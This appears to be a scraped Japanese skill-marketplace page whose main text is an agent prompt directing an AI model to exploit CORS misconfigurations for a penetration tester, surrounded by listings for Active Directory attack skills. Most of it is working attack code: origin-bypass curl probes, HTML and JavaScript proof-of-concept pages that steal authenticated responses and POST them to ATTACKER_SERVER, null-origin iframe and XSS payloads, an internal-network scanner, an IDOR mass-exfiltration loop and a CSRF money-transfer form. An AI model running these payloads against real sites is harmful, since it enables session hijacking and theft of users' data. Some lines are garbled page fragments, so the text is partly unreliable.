You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit Cross-Origin Resource Sharing
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit Cross-Origin Resource Sharing misconfigurations. The target application sets CORS headers that allow unauthorized origins to read cross-origin responses, potentially enabling credential theft, session hijacking, and sensitive data exfiltration. The goal is to demonstrate that an attacker-controlled origin can read authenticated responses from the target. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[cors-misconfiguration] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
Authorization headers
added by JavaScript — those require the attacker's JS to already have the token)Test the target's CORS configuration by sending requests with various Origin
headers. The critical combination is Access-Control-Allow-Origin set to an
attacker-controllable value plus Access-Control-Allow-Credentials: true.
# Test with an arbitrary attacker origin
curl -sI -H "Origin: https://evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Test with null origin
curl -sI -H "Origin: null" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Test with a subdomain variant
curl -sI -H "Origin: https://sub.TARGET" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Full CORS header scan across multiple origin patterns
ORIGINS=(
"https://evil.com"
"null"
"https://TARGET.evil.com"
"https://evil.TARGET"
"https://TARGETevil.com"
"https://evil-TARGET"
"https://sub.TARGET"
"https://TARGET_evil.com"
"https://TARGET%60evil.com"
)
for origin in "${ORIGINS[@]}"; do
echo "=== Origin: $origin ==="
curl -sI -H "Origin: $origin" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/sensitive" 2>/dev/null | \
grep -i "access-control"
echo
done
| Response Headers | Severity | Exploitable? |
|---|---|---|
ACAO: https://evil.com + ACAC: true | Critical | Yes — full credential theft |
ACAO: null + ACAC: true | High | Yes — via sandboxed iframe |
ACAO: * (no credentials) | Medium | Only if endpoint has sensitive data without auth |
ACAO: * + ACAC: true | Invalid | Browsers reject this combination |
ACAO: https://sub.TARGET + ACAC: true | Medium | Requires XSS on trusted subdomain |
| No CORS headers | None | Not exploitable via CORS |
ACAO = Access-Control-Allow-Origin, ACAC = Access-Control-Allow-Credentials
The most common and critical misconfiguration — the server reflects the
Origin header directly into Access-Control-Allow-Origin.
curl -sI -H "Origin: https://attacker-controlled.com" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/user/profile"
# Vulnerable if response includes:
# Access-Control-Allow-Origin: https://attacker-controlled.com
# Access-Control-Allow-Credentials: true
Host this on your attacker-controlled domain:
<!DOCTYPE html>
<html>
<body>
<h1>CORS PoC — Origin Reflection</h1>
<div id="result"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Display stolen data
document.getElementById('result').innerText = this.responseText;
// Exfiltrate to attacker server
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: this.responseText
});
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true; // Send victim's cookies
xhr.send();
</script>
</body>
</html>
fetch('https://TARGET/api/user/profile', {
credentials: 'include'
})
.then(r => r.text())
.then(data => {
// Exfiltrate
navigator.sendBeacon('https://ATTACKER_SERVER/exfil', data);
});
The application whitelists null as a trusted origin. The null origin is
sent by sandboxed iframes, data: URIs, and local file access.
curl -sI -H "Origin: null" \
-H "Cookie: session=VALID_SESSION" \
"https://TARGET/api/user/profile"
# Vulnerable if response includes:
# Access-Control-Allow-Origin: null
# Access-Control-Allow-Credentials: true
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Exfiltrate stolen data
location = 'https://ATTACKER_SERVER/exfil?data='
%2B encodeURIComponent(this.responseText);
};
xhr.open('GET', 'https://TARGET/api/user/profile', true);
xhr.withCredentials = true;
xhr.send();
</script>">
</iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
fetch('https://TARGET/api/user/profile', {credentials: 'include'})
.then(r => r.text())
.then(data => {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: data
});
});
</script>">
</iframe>
When the server validates the Origin header with a regex, common implementation mistakes allow bypass.
Server regex: ^https://api.example.com$ — dot matches any character.
# Register: apiXexample.com (any char replaces the dot)
curl -sI -H "Origin: https://apiXexample.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Server regex: ^https://example.com — no $ anchor.
# Any domain starting with example.com passes
curl -sI -H "Origin: https://example.com.evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Server regex: example.com$ — no ^ anchor.
# Any domain ending with example.com passes
curl -sI -H "Origin: https://evilexample.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Server checks: origin ends with trusted.com (not .trusted.com).
curl -sI -H "Origin: https://nottrusted.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Underscore (Chrome/Firefox accept in origin)
curl -sI -H "Origin: https://target_evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Backtick (Safari edge case)
curl -sI -H "Origin: https://target\`evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
# Curly brace (Safari)
curl -sI -H "Origin: https://target}.evil.com" \
"https://TARGET/api/endpoint" | grep -i "access-control"
Once you find an origin that passes validation, host the exfiltration PoC (from Step 2) on that domain.
The server trusts all subdomains: *.target.com. Exploitable if you can find
XSS on any subdomain.
curl -sI -H "Origin: https://anything.TARGET" \
"https://TARGET/api/user/profile" | grep -i "access-control"
# Also check for wildcard
curl -sI -H "Origin: https://evil.sub.TARGET" \
"https://TARGET/api/user/profile" | grep -i "access-control"
If XSS exists on blog.target.com (or any other subdomain):
https://blog.target.com/post?q=<script>
fetch('https://api.target.com/user/profile',{credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://ATTACKER_SERVER/exfil',{method:'POST',body:d}))
</script>
The XSS payload on the trusted subdomain makes a credentialed request to the API, which trusts the subdomain origin and returns data with CORS headers.
If a subdomain has a dangling DNS record (CNAME to unclaimed service), take it over and host the CORS exploitation PoC there. The API will trust the subdomain origin.
Access-Control-Allow-Origin: * without Access-Control-Allow-Credentials: true.
If the victim visits an attacker page while on the internal network:
// Scan internal services accessible via wildcard CORS
const targets = [
'http://192.168.1.1/admin',
'http://10.0.0.5:8080/api/status',
'http://localhost:3000/debug',
'http://jenkins.internal:8080/api/json',
'http://grafana.internal:3000/api/org'
];
targets.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
if (data.length > 0) {
fetch('https://ATTACKER_SERVER/internal', {
method: 'POST',
body: JSON.stringify({url: url, data: data})
});
}
})
.catch(() => {});
});
If the server reflects Origin in the response and the response is cached
without Vary: Origin:
# Check for missing Vary header
curl -sI -H "Origin: https://evil.com" \
"https://TARGET/page" | grep -i "vary"
# If Vary: Origin is missing, the cached response may include:
# Access-Control-Allow-Origin: https://evil.com
# Subsequent users get this cached response, enabling cross-origin reads
CORS misconfiguration combined with IDOR enables mass cross-origin data exfiltration:
// CORS allows reading responses, IDOR allows accessing any user's data
async function exfilAll() {
for (let id = 1; id <= 1000; id++) {
try {
const r = await fetch(`https://TARGET/api/users/${id}`, {
credentials: 'include'
});
if (r.ok) {
const data = await r.json();
await fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify({id: id, data: data})
});
}
} catch(e) {}
await new Promise(r => setTimeout(r, 100)); // rate limit
}
}
exfilAll();
<script> tags are not subject to CORS (SOP doesn't restrict script loading).
If the target has JSONP endpoints, CORS is irrelevant:
<script>
// Override the callback function to steal data
function jsonpCallback(data) {
fetch('https://ATTACKER_SERVER/exfil', {
method: 'POST',
body: JSON.stringify(data)
});
}
</script>
<!-- Browser loads script cross-origin, executes callback with data -->
<script src="https://TARGET/api/user?callback=jsonpCallback"></script>
Simple requests (GET, POST with standard Content-Type) don't trigger preflight OPTIONS checks. The server processes the request — CORS only controls whether the browser lets JavaScript read the response.
<!-- This POST will be SENT (server processes it) even without CORS headers.
The browser just prevents reading the response.
Useful for blind CSRF-style attacks where you don't need the response. -->
<form action="https://TARGET/api/transfer" method="POST"
enctype="application/x-www-form-urlencoded">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>
STOP and return to the orchestrator with:
Vary: Origin absence makes cache poisoning possible but also means your
test may affect cached responses for other users — test carefullyAccess-Control-Request-Method: GET header to trigger CORScurl -X OPTIONS -H "Origin: ..." TARGETWithout Access-Control-Allow-Credentials: true, the browser won't send
cookies. Impact is limited to:
SameSite cookie attribute — SameSite=Strict or Lax may prevent
cookie transmission on cross-origin requests from <script> (Lax allows
top-level navigations)SameSite=None; Secure test cookies if possibleContent-Type: application/x-www-form-urlencoded)Authorization), CORS preflight
is required and must passnavigator.sendBeacon() for single-shot exfiltration (more reliable
than fetch for page unload scenarios)まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。